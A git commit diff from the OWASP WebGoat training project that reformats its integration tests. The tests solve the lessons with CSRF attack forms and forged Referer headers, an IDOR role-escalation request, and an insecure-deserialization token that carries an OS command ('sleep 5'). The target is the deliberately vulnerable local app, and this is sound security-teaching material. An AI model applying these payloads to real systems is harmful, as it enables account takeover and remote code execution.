chore: format src/test/it as well

This commit is contained in:
Nanne Baars 2023-02-15 18:47:52 +00:00
parent 3ec34b0df5
commit 390ff39f19
22 changed files with 1915 additions and 1633 deletions

View File

@ -536,6 +536,11 @@
<flexmark></flexmark> <flexmark></flexmark>
</markdown> </markdown>
<java> <java>
<includes>
<include>src/main/java/**/*.java</include>
<include>src/test/java/**/*.java</include>
<include>src/it/java/**/*.java</include>
</includes>
<removeUnusedImports></removeUnusedImports> <removeUnusedImports></removeUnusedImports>
<googleJavaFormat> <googleJavaFormat>
<style>GOOGLE</style> <style>GOOGLE</style>

View File

@ -1,13 +1,11 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.Map;
import org.apache.http.HttpStatus; import org.apache.http.HttpStatus;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import java.util.Map;
class AccessControlIntegrationTest extends IntegrationTest { class AccessControlIntegrationTest extends IntegrationTest {
@Test @Test
@ -32,7 +30,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
.statusCode(HttpStatus.SC_FORBIDDEN); .statusCode(HttpStatus.SC_FORBIDDEN);
// create user // create user
var userTemplate = """ var userTemplate =
"""
{"username":"%s","password":"%s","admin": "true"} {"username":"%s","password":"%s","admin": "true"}
"""; """;
RestAssured.given() RestAssured.given()
@ -59,7 +58,8 @@ class AccessControlIntegrationTest extends IntegrationTest {
.jsonPath() .jsonPath()
.get("find { it.username == \"Jerry\" }.userHash"); .get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true); checkAssignment(
url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
} }
private void assignment2() { private void assignment2() {

View File

@ -1,8 +1,18 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.Data; import lombok.Data;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
@ -11,45 +21,41 @@ import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment; import org.owasp.webgoat.container.lessons.Assignment;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
public class CSRFIntegrationTest extends IntegrationTest { public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" + private static final String trickHTML3 =
"<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
"<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n" + + "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
"</form></body></html>"; + "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+ "</form></body></html>";
private static final String trickHTML4 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" + private static final String trickHTML4 =
"<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
"<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n" + + "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
"<input type=\"hidden\" name=\"validateReq\" value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n" + + "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
"<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n" + + "<input type=\"hidden\" name=\"validateReq\""
"</form>\n" + + " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
"</body></html>"; + "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+ "</form>\n"
+ "</body></html>";
private static final String trickHTML7 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain' method=\"POST\">\n" + private static final String trickHTML7 =
"<input type=\"hidden\" name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!' value='\"}' />\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
"<input type=\"submit\" value=\"assignment 7\"/>\n" + + " method=\"POST\">\n"
"</form></body></html>"; + "<input type=\"hidden\""
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+ " is the best!!' value='\"}' />\n"
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
+ "</form></body></html>";
private static final String trickHTML8 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" + private static final String trickHTML8 =
"<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" + "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
"<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" + + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
"<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" + + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
"<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" + + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
"<input type=\"submit\" value=\"assignment 8\"/>\n" + + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
"</form></body></html>"; + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+ "</form></body></html>";
private String webwolfFileDir; private String webwolfFileDir;
@ -61,7 +67,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag"))); uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review"))); uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message"))); uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser())); uploadTrickHtml(
"csrf8.html",
trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
} }
@TestFactory @TestFactory
@ -70,8 +78,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))), dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))), dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))), dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))) dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
);
} }
@AfterEach @AfterEach
@ -98,18 +105,25 @@ public class CSRFIntegrationTest extends IntegrationTest {
.multiPart("file", htmlName, htmlContent.getBytes()) .multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrl("/WebWolf/fileupload")) .post(webWolfUrl("/WebWolf/fileupload"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
} }
private String callTrickHtml(String htmlName) { private String callTrickHtml(String htmlName) {
String result = RestAssured.given() String result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName)) .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
result = result.substring(8 + result.indexOf("action=\"")); result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\"")); result = result.substring(0, result.indexOf("\""));
@ -117,14 +131,17 @@ public class CSRFIntegrationTest extends IntegrationTest {
} }
private void checkAssignment3(String goatURL) { private void checkAssignment3(String goatURL) {
String flag = RestAssured.given() String flag =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html")) .header("Referer", webWolfUrl("/files/fake.html"))
.post(goatURL) .post(goatURL)
.then() .then()
.extract().path("flag").toString(); .extract()
.path("flag")
.toString();
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
@ -138,9 +155,11 @@ public class CSRFIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put("reviewText", "test review"); params.put("reviewText", "test review");
params.put("stars", "5"); params.put("stars", "5");
params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness params.put(
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
boolean result = RestAssured.given() boolean result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
@ -148,32 +167,38 @@ public class CSRFIntegrationTest extends IntegrationTest {
.formParams(params) .formParams(params)
.post(goatURL) .post(goatURL)
.then() .then()
.extract().path("lessonCompleted"); .extract()
.path("lessonCompleted");
assertEquals(true, result); assertEquals(true, result);
} }
private void checkAssignment7(String goatURL) { private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}"); params.put(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+ " best!!",
"\"}");
String flag = RestAssured.given() String flag =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrl("/files/fake.html")) .header("Referer", webWolfUrl("/files/fake.html"))
.contentType(ContentType.TEXT) .contentType(ContentType.TEXT)
.body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}") .body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+ " the best!!=\"}")
.post(goatURL) .post(goatURL)
.then() .then()
.extract().asString(); .extract()
.asString();
flag = flag.substring(9 + flag.indexOf("flag is:")); flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\"")); flag = flag.substring(0, flag.indexOf("\""));
params.clear(); params.clear();
params.put("confirmFlagVal", flag); params.put("confirmFlagVal", flag);
checkAssignment(url("/WebGoat/csrf/feedback"), params, true); checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
} }
private void checkAssignment8(String goatURL) { private void checkAssignment8(String goatURL) {
@ -187,7 +212,8 @@ public class CSRFIntegrationTest extends IntegrationTest {
params.put("password", "password"); params.put("password", "password");
// login and get the new cookie // login and get the new cookie
String newCookie = RestAssured.given() String newCookie =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
@ -195,7 +221,8 @@ public class CSRFIntegrationTest extends IntegrationTest {
.params(params) .params(params)
.post(goatURL) .post(goatURL)
.then() .then()
.extract().cookie("JSESSIONID"); .extract()
.cookie("JSESSIONID");
// select the lesson // select the lesson
RestAssured.given() RestAssured.given()
@ -207,21 +234,24 @@ public class CSRFIntegrationTest extends IntegrationTest {
.statusCode(200); .statusCode(200);
// click on the assignment // click on the assignment
boolean result = RestAssured.given() boolean result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie) .cookie("JSESSIONID", newCookie)
.post(url("/csrf/login")) .post(url("/csrf/login"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"); .extract()
.path("lessonCompleted");
assertThat(result).isTrue(); assertThat(result).isTrue();
login(); login();
startLesson("CSRF", false); startLesson("CSRF", false);
Overview[] assignments = RestAssured.given() Overview[] assignments =
RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/service/lessonoverview.mvc")) .get(url("/service/lessonoverview.mvc"))
.then() .then()
@ -240,9 +270,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
boolean solved; boolean solved;
} }
/** /** Try to register the new user. Ignore the result. */
* Try to register the new user. Ignore the result.
*/
private void registerCSRFUser() { private void registerCSRFUser() {
RestAssured.given() RestAssured.given()
@ -253,7 +281,5 @@ public class CSRFIntegrationTest extends IntegrationTest {
.formParam("matchingPassword", "password") .formParam("matchingPassword", "password")
.formParam("agree", "agree") .formParam("agree", "agree")
.post(url("register.mvc")); .post(url("register.mvc"));
} }
} }

View File

@ -1,7 +1,5 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static java.util.concurrent.TimeUnit.SECONDS;
import static org.hamcrest.Matchers.lessThan;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured; import io.restassured.RestAssured;

View File

@ -2,6 +2,7 @@ package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.fail; import static org.junit.jupiter.api.Assertions.fail;
import io.restassured.RestAssured;
import java.nio.charset.Charset; import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException; import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey; import java.security.PrivateKey;
@ -10,15 +11,11 @@ import java.security.spec.InvalidKeySpecException;
import java.util.Base64; import java.util.Base64;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import javax.xml.bind.DatatypeConverter; import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil; import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment; import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
import io.restassured.RestAssured;
public class CryptoIntegrationTest extends IntegrationTest { public class CryptoIntegrationTest extends IntegrationTest {
@Test @Test
@ -46,13 +43,18 @@ public class CryptoIntegrationTest extends IntegrationTest {
checkAssignmentDefaults(); checkAssignmentDefaults();
checkResults("/crypto"); checkResults("/crypto");
} }
private void checkAssignment2() { private void checkAssignment2() {
String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation() String basicEncoding =
.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract() RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/encoding/basic"))
.then()
.extract()
.asString(); .asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length()); basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes())); String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
@ -75,11 +77,25 @@ public class CryptoIntegrationTest extends IntegrationTest {
private void checkAssignment4() throws NoSuchAlgorithmException { private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) String md5Hash =
.get(url("/crypto/hashing/md5")).then().extract().asString(); RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/md5"))
.then()
.extract()
.asString();
String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) String sha256Hash =
.get(url("/crypto/hashing/sha256")).then().extract().asString(); RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/hashing/sha256"))
.then()
.extract()
.asString();
String answer_1 = "unknown"; String answer_1 = "unknown";
String answer_2 = "unknown"; String answer_2 = "unknown";
@ -101,13 +117,15 @@ public class CryptoIntegrationTest extends IntegrationTest {
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException { private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM = RestAssured.given() String privatePEM =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/crypto/signing/getprivate")) .get(url("/crypto/signing/getprivate"))
.then() .then()
.extract().asString(); .extract()
.asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM); PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey; RSAPrivateKey privk = (RSAPrivateKey) privateKey;
@ -122,7 +140,12 @@ public class CryptoIntegrationTest extends IntegrationTest {
private void checkAssignmentDefaults() { private void checkAssignmentDefaults() {
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8")))); String text =
new String(
Base64.getDecoder()
.decode(
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
.getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
@ -130,5 +153,4 @@ public class CryptoIntegrationTest extends IntegrationTest {
params.put("secretFileName", "default_secret"); params.put("secretFileName", "default_secret");
checkAssignment(url("/crypto/secure/defaults"), params, true); checkAssignment(url("/crypto/secure/defaults"), params, true);
} }
} }

View File

@ -1,12 +1,11 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
public class DeserializationIntegrationTest extends IntegrationTest { public class DeserializationIntegrationTest extends IntegrationTest {
@ -20,15 +19,15 @@ public class DeserializationIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
if (OS.indexOf("win") > -1) { if (OS.indexOf("win") > -1) {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5"))); params.put(
"token",
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else { } else {
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5"))); params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
} }
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true); checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
checkResults("/InsecureDeserialization/"); checkResults("/InsecureDeserialization/");
} }
} }

View File

@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
params.clear(); params.clear();
params.put( params.put(
"question_0_solution", "question_0_solution",
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website."); "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+ " website.");
params.put( params.put(
"question_1_solution", "question_1_solution",
"Solution 1: By changing the names and emails of one or more users stored in a database."); "Solution 1: By changing the names and emails of one or more users stored in a database.");

View File

@ -1,13 +1,14 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException; import java.io.IOException;
import java.util.Arrays; import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
@ -15,10 +16,6 @@ import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.TestFactory;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import lombok.SneakyThrows;
public class IDORIntegrationTest extends IntegrationTest { public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach @BeforeEach
@ -30,9 +27,7 @@ public class IDORIntegrationTest extends IntegrationTest {
@TestFactory @TestFactory
Iterable<DynamicTest> testIDORLesson() { Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList( return Arrays.asList(
dynamicTest("login",()-> loginIDOR()), dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
dynamicTest("profile", () -> profile())
);
} }
@AfterEach @AfterEach
@ -47,9 +42,7 @@ public class IDORIntegrationTest extends IntegrationTest {
params.put("username", "tom"); params.put("username", "tom");
params.put("password", "cat"); params.put("password", "cat");
checkAssignment(url("/WebGoat/IDOR/login"), params, true); checkAssignment(url("/WebGoat/IDOR/login"), params, true);
} }
private void profile() { private void profile() {
@ -61,7 +54,9 @@ public class IDORIntegrationTest extends IntegrationTest {
.get(url("/WebGoat/IDOR/profile")) .get(url("/WebGoat/IDOR/profile"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("userId"), CoreMatchers.is("2342384")); .extract()
.path("userId"),
CoreMatchers.is("2342384"));
Map<String, Object> params = new HashMap<>(); Map<String, Object> params = new HashMap<>();
params.clear(); params.clear();
params.put("attributes", "userId,role"); params.put("attributes", "userId,role");
@ -78,7 +73,9 @@ public class IDORIntegrationTest extends IntegrationTest {
.get(url("/WebGoat/IDOR/profile/2342388")) .get(url("/WebGoat/IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
@ -86,13 +83,14 @@ public class IDORIntegrationTest extends IntegrationTest {
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) // part of the lesson .contentType(ContentType.JSON) // part of the lesson
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}") .body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}")
.put(url("/WebGoat/IDOR/profile/2342388")) .put(url("/WebGoat/IDOR/profile/2342388"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
} }

View File

@ -1,32 +1,32 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static io.restassured.RestAssured.given;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.Map;
import java.util.Objects;
import lombok.Getter; import lombok.Getter;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import java.util.Map;
import java.util.Objects;
import static io.restassured.RestAssured.given;
public abstract class IntegrationTest { public abstract class IntegrationTest {
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport")); private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
@Getter @Getter
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport")); private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
private static boolean useSSL = false; private static boolean useSSL = false;
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/"; private static String webgoatUrl =
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/"; (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
@Getter private static String webWolfUrl =
private String webGoatCookie; (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
@Getter @Getter private String webGoatCookie;
private String webWolfCookie; @Getter private String webWolfCookie;
@Getter @Getter private final String user = "webgoat";
private final String user = "webgoat";
protected String url(String url) { protected String url(String url) {
url = url.replaceFirst("/WebGoat/", ""); url = url.replaceFirst("/WebGoat/", "");
@ -44,17 +44,21 @@ public abstract class IntegrationTest {
@BeforeEach @BeforeEach
public void login() { public void login() {
String location = given() String location =
given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login"))
.then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
.extract().header("Location"); .extract()
.header("Location");
if (location.endsWith("?error")) { if (location.endsWith("?error")) {
webGoatCookie = RestAssured.given() webGoatCookie =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
@ -68,18 +72,22 @@ public abstract class IntegrationTest {
.extract() .extract()
.cookie("JSESSIONID"); .cookie("JSESSIONID");
} else { } else {
webGoatCookie = given() webGoatCookie =
given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
.formParam("password", "password") .formParam("password", "password")
.post(url("login")).then() .post(url("login"))
.then()
.cookie("JSESSIONID") .cookie("JSESSIONID")
.statusCode(302) .statusCode(302)
.extract().cookie("JSESSIONID"); .extract()
.cookie("JSESSIONID");
} }
webWolfCookie = RestAssured.given() webWolfCookie =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.formParam("username", user) .formParam("username", user)
@ -94,12 +102,7 @@ public abstract class IntegrationTest {
@AfterEach @AfterEach
public void logout() { public void logout() {
RestAssured.given() RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
.when()
.relaxedHTTPSValidation()
.get(url("logout"))
.then()
.statusCode(200);
} }
public void startLesson(String lessonName) { public void startLesson(String lessonName) {
@ -136,7 +139,9 @@ public abstract class IntegrationTest {
.post(url) .post(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) { public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
@ -149,36 +154,46 @@ public abstract class IntegrationTest {
.put(url) .put(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package) // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
// only required to be in the same package)
public void checkResults(String prefix) { public void checkResults(String prefix) {
checkResults(); checkResults();
MatcherAssert.assertThat(RestAssured.given() MatcherAssert.assertThat(
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(url("service/lessonoverview.mvc"))
.then() .then()
